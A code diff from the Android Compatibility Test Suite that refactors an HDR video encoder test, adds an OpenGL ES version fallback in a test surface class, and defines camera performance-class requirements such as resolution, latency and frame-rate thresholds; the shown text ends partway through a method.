- Assume.assumeTrue(mCodecName + " does not support this HDR profile",
- areFormatsSupported(mCodecName, mMime, mFormats));
- Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
- hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
- mBytesPerSample = 2;
- setUpSource(INPUT_VIDEO_FILE_HBD);
- mOutputBuff = new OutputManager();
- mCodec = MediaCodec.createByCodecName(mCodecName);
- mOutputBuff.reset();
- String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
- File tmpFile;
- int muxerFormat;
- if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
- muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
- tmpFile = File.createTempFile("tmp10bit", ".webm");
- } else {
- muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
- tmpFile = File.createTempFile("tmp10bit", ".mp4");
- }
- mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
- configureCodec(format, true, true, true);
- mCodec.start();
- doWork(4);
- queueEOS();
- waitForAllOutputs();
- if (mTrackID != -1) {
- mMuxer.stop();
- mTrackID = -1;
- }
- if (mMuxer != null) {
- mMuxer.release();
- mMuxer = null;
- }
- assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
- assertTrue(log + "no input sent", 0 != mInputCount);
- assertTrue(log + "output received", 0 != mOutputCount);
-
- MediaFormat fmt = mCodec.getOutputFormat();
- mCodec.stop();
- mCodec.release();
-
- // verify if the out fmt contains HDR Static metadata as expected
- validateHDRStaticMetaData(fmt, hdrStaticInfo);
-
- // verify if the muxed file contains HDR metadata as expected
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- String decoder = codecList.findDecoderForFormat(format);
- assertNotNull("Device advertises support for encoding " + format.toString() +
- " but not decoding it", decoder);
- CodecDecoderTestBase cdtb =
- new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
- String parent = tmpFile.getParent();
- if (parent != null) parent += File.separator;
- else parent = "";
- cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
- if (mTestDynamicMetadata) {
- cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false);
- }
-
- // if HDR static metadata can also be signalled via elementary stream then verify if
- // the elementary stream contains HDR static data as expected
- if (mCheckESList.contains(mMime)) {
- cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
-
- // since HDR static metadata is signalled via elementary stream then verify if
- // the elementary stream contains HDR static data as expected
- if (mTestDynamicMetadata) {
- cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true);
- }
- }
-
- tmpFile.delete();
+ @CddTest(requirements = {"5.12/C-6-4"})
+ public void testHDRInfo() throws IOException, InterruptedException {
+ validateHDRInfo(mHDRStaticInfo, mHDRDynamicInfo);
}
}
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index 03856a25592..24dbc4d08fe 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -22,10 +22,12 @@ import android.opengl.EGLConfig;
import android.opengl.EGLContext;
import android.opengl.EGLDisplay;
import android.opengl.EGLSurface;
+import android.opengl.GLES20;
import android.util.Log;
import android.view.Surface;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
/**
@@ -58,6 +60,8 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
private boolean mFrameAvailable;
private TextureRender mTextureRender;
+ private int mEGLESVersion;
+ private boolean mEXTYuvTargetSupported = false;
/**
* Creates an OutputSurface backed by a pbuffer with the specified dimensions. The new
@@ -76,6 +80,11 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
eglSetup(width, height, useHighBitDepth, useYuvSampling);
makeCurrent();
+ if (mEGLESVersion > 2) {
+ String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS);
+ mEXTYuvTargetSupported = extensionList.contains("GL_EXT_YUV_target");
+ }
+
setup(this, useYuvSampling);
}
@@ -92,6 +101,13 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
}
/**
+ * Returns if the device support GL_EXT_YUV_target extension
+ */
+ public boolean getEXTYuvTargetSupported() {
+ return mEXTYuvTargetSupported;
+ }
+
+ /**
* Creates instances of TextureRender and SurfaceTexture, and a Surface associated
* with the SurfaceTexture.
*/
@@ -101,7 +117,7 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
mTextureRender = new TextureRender();
- mTextureRender.setUseYuvSampling(useYuvSampling);
+ mTextureRender.setUseYuvSampling(mEXTYuvTargetSupported && useYuvSampling);
mTextureRender.surfaceCreated();
// Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -162,13 +178,22 @@ class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
}
// Configure context for OpenGL ES 3.0/2.0.
- int eglContextClientVersion = useYuvSampling ? 3: 2;
- int[] attrib_list = {
- EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
- EGL14.EGL_NONE
- };
- mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
- attrib_list, 0);
+ mEGLESVersion = useYuvSampling ? 3 : 2;
+ do {
+ int[] attrib_list = {
+ EGL14.EGL_CONTEXT_CLIENT_VERSION, mEGLESVersion,
+ EGL14.EGL_NONE
+ };
+ mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
+ attrib_list, 0);
+ // if OpenGL ES 3.0 isn't supported, attempt to create OpenGL ES 2.0 context
+ if (mEGLContext == EGL14.EGL_NO_CONTEXT && useYuvSampling) {
+ mEGLESVersion--;
+ } else {
+ break;
+ }
+ } while (mEGLESVersion > 1);
+
checkEglError("eglCreateContext");
if (mEGLContext == null) {
throw new RuntimeException("null context");
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9011b621e32..774595cdbea 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@ class WorkDir {
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
} else {
- return (getTopDirString() + "test/CtsMediaV2TestCases-2.3/");
+ return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/");
}
}
}
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index dcc8995c3a6..dc36e586b2d 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -24,6 +24,11 @@
<option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index 327fb9cf6c9..d3fd2921d5a 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -20,6 +20,7 @@ import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assume.assumeTrue;
+import android.hardware.camera2.CameraMetadata;
import android.media.MediaFormat;
import android.os.Build;
@@ -849,7 +850,493 @@ public class PerformanceClassEvaluator {
}
}
- private <R extends Requirement> R addRequirement(R req) {
+ public static class PrimaryCameraRequirement extends Requirement {
+ private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
+ private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
+ private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
+ private static final String TAG = PrimaryCameraRequirement.class.getSimpleName();
+
+ private PrimaryCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setPrimaryCameraSupported(boolean hasPrimaryCamera) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_AVAILABLE,
+ hasPrimaryCamera);
+ }
+
+ public void setResolution(long resolution) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_RESOLUTION,
+ resolution);
+ }
+
+ public void setVideoSizeReqSatisfied(boolean videoSizeReqSatisfied) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED,
+ videoSizeReqSatisfied);
+ }
+
+ public void setVideoFps(double videoFps) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS, videoFps);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-1] MUST have a primary rear facing camera with a resolution of at
+ * least 12 megapixels supporting video capture at 4k@30fps
+ */
+ public static PrimaryCameraRequirement createRearPrimaryCamera() {
+ RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+ .<Long>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+ .setPredicate(RequirementConstants.LONG_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.S, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .build();
+
+ RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Double> videoFps = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+ .build();
+
+ return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_1,
+ hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+ videoFps);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-2] MUST have a primary front facing camera with a resolution of
+ * at least 4 megapixels supporting video capture at 1080p@30fps.
+ */
+ public static PrimaryCameraRequirement createFrontPrimaryCamera() {
+ RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+ .<Long>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+ .setPredicate(RequirementConstants.LONG_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.S, MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+ .build();
+
+ RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Double> videoFps = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+ .build();
+
+ return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_2,
+ hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+ videoFps);
+ }
+ }
+
+ public static class CameraTimestampSourceRequirement extends Requirement {
+ private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+ private static final int TIMESTAMP_REALTIME =
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME;
+
+ private CameraTimestampSourceRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearCameraTimestampSource(Integer timestampSource) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE,
+ timestampSource);
+ }
+
+ public void setFrontCameraTimestampSource(Integer timestampSource) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE,
+ timestampSource);
+ }
+ /**
+ * [2.2.7.2/7.5/H-1-4] MUST support CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME
+ * for both primary cameras.
+ */
+ public static CameraTimestampSourceRequirement createTimestampSourceReq() {
+ RequiredMeasurement<Integer> rearTimestampSource = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+ .build();
+ RequiredMeasurement<Integer> frontTimestampSource = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+ .build();
+
+ return new CameraTimestampSourceRequirement(RequirementConstants.R7_5__H_1_4,
+ rearTimestampSource, frontTimestampSource);
+ }
+ }
+
+ public static class CameraLatencyRequirement extends Requirement {
+ private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+
+ private CameraLatencyRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearCameraLatency(float latency) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LATENCY, latency);
+ }
+
+ public void setFrontCameraLatency(float latency) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LATENCY, latency);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution
+ * as measured by the CTS camera PerformanceTest under ITS lighting conditions
+ * (3000K) for both primary cameras.
+ */
+ public static CameraLatencyRequirement createJpegLatencyReq() {
+ RequiredMeasurement<Float> rearJpegLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+ .build();
+ RequiredMeasurement<Float> frontJpegLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+ .build();
+
+ return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_5,
+ rearJpegLatency, frontJpegLatency);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first
+ * preview frame) < 600ms as measured by the CTS camera PerformanceTest under ITS lighting
+ * conditions (3000K) for both primary cameras.
+ */
+ public static CameraLatencyRequirement createLaunchLatencyReq() {
+ RequiredMeasurement<Float> rearLaunchLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+ .build();
+ RequiredMeasurement<Float> frontLaunchLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+ .build();
+
+ return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_6,
+ rearLaunchLatency, frontLaunchLatency);
+ }
+ }
+
+ public static class CameraRawRequirement extends Requirement {
+ private static final String TAG = CameraRawRequirement.class.getSimpleName();
+
+ private CameraRawRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearRawSupported(boolean rearRawSupported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED,
+ rearRawSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-8] MUST support CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW and
+ * android.graphics.ImageFormat.RAW_SENSOR for the primary back camera.
+ */
+ public static CameraRawRequirement createRawReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new CameraRawRequirement(RequirementConstants.R7_5__H_1_8, requirement);
+ }
+ }
+
+ public static class Camera240FpsRequirement extends Requirement {
+ private static final String TAG = Camera240FpsRequirement.class.getSimpleName();
+
+ private Camera240FpsRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRear240FpsSupported(boolean rear240FpsSupported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED,
+ rear240FpsSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-9] MUST have a rear-facing primary camera supporting 720p or 1080p @ 240fps.
+ */
+ public static Camera240FpsRequirement create240FpsReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new Camera240FpsRequirement(RequirementConstants.R7_5__H_1_9, requirement);
+ }
+ }
+
+ public static class UltraWideZoomRatioRequirement extends Requirement {
+ private static final String TAG =
+ UltraWideZoomRatioRequirement.class.getSimpleName();
+
+ private UltraWideZoomRatioRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+ ultrawideZoomRatioReqMet);
+ }
+
+ public void setFrontUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+ ultrawideZoomRatioReqMet);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-10] MUST have min ZOOM_RATIO < 1.0 for the primary cameras if
+ * there is an ultrawide RGB camera facing the same direction.
+ */
+ public static UltraWideZoomRatioRequirement createUltrawideZoomRatioReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new UltraWideZoomRatioRequirement(RequirementConstants.R7_5__H_1_10,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class ConcurrentRearFrontRequirement extends Requirement {
+ private static final String TAG = ConcurrentRearFrontRequirement.class.getSimpleName();
+
+ private ConcurrentRearFrontRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setConcurrentRearFrontSupported(boolean concurrentRearFrontSupported) {
+ this.setMeasuredValue(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED,
+ concurrentRearFrontSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-11] MUST implement concurrent front-back streaming on primary cameras.
+ */
+ public static ConcurrentRearFrontRequirement createConcurrentRearFrontReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new ConcurrentRearFrontRequirement(RequirementConstants.R7_5__H_1_11,
+ requirement);
+ }
+ }
+
+ public static class PreviewStabilizationRequirement extends Requirement {
+ private static final String TAG =
+ PreviewStabilizationRequirement.class.getSimpleName();
+
+ private PreviewStabilizationRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearPreviewStabilizationSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+ supported);
+ }
+
+ public void setFrontPreviewStabilizationSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+ supported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-12] MUST support CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION
+ * for both primary front and primary back camera.
+ */
+ public static PreviewStabilizationRequirement createPreviewStabilizationReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new PreviewStabilizationRequirement(RequirementConstants.R7_5__H_1_12,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class LogicalMultiCameraRequirement extends Requirement {
+ private static final String TAG =
+ LogicalMultiCameraRequirement.class.getSimpleName();
+
+ private LogicalMultiCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearLogicalMultiCameraReqMet(boolean reqMet) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+ reqMet);
+ }
+
+ public void setFrontLogicalMultiCameraReqMet(boolean reqMet) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+ reqMet);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary
+ * cameras if there are greater than 1 RGB cameras facing the same direction.
+ */
+ public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public static class StreamUseCaseRequirement extends Requirement {
+ private static final String TAG =
+ StreamUseCaseRequirement.class.getSimpleName();
+
+ private StreamUseCaseRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearStreamUseCaseSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED,
+ supported);
+ }
+
+ public void setFrontStreamUseCaseSupported(boolean supported) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED,
+ supported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-14] MUST support STREAM_USE_CASE capability for both primary
+ * front and primary back camera.
+ */
+ public static StreamUseCaseRequirement createStreamUseCaseReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+ RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new StreamUseCaseRequirement(RequirementConstants.R7_5__H_1_14,
+ rearRequirement, frontRequirement);
+ }
+ }
+
+ public <R extends Requirement> R addRequirement(R req) {
if (!this.mRequirements.add(req)) {
throw new IllegalStateException("Requirement " + req.id() + " already added");
}
@@ -1000,16 +1487,69 @@ public class PerformanceClassEvaluator {
return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
}
+ public PrimaryCameraRequirement addPrimaryRearCameraReq() {
+ return this.addRequirement(PrimaryCameraRequirement.createRearPrimaryCamera());
+ }
+
+ public PrimaryCameraRequirement addPrimaryFrontCameraReq() {
+ return this.addRequirement(PrimaryCameraRequirement.createFrontPrimaryCamera());
+ }
+
+ public CameraTimestampSourceRequirement addR7_5__H_1_4() {
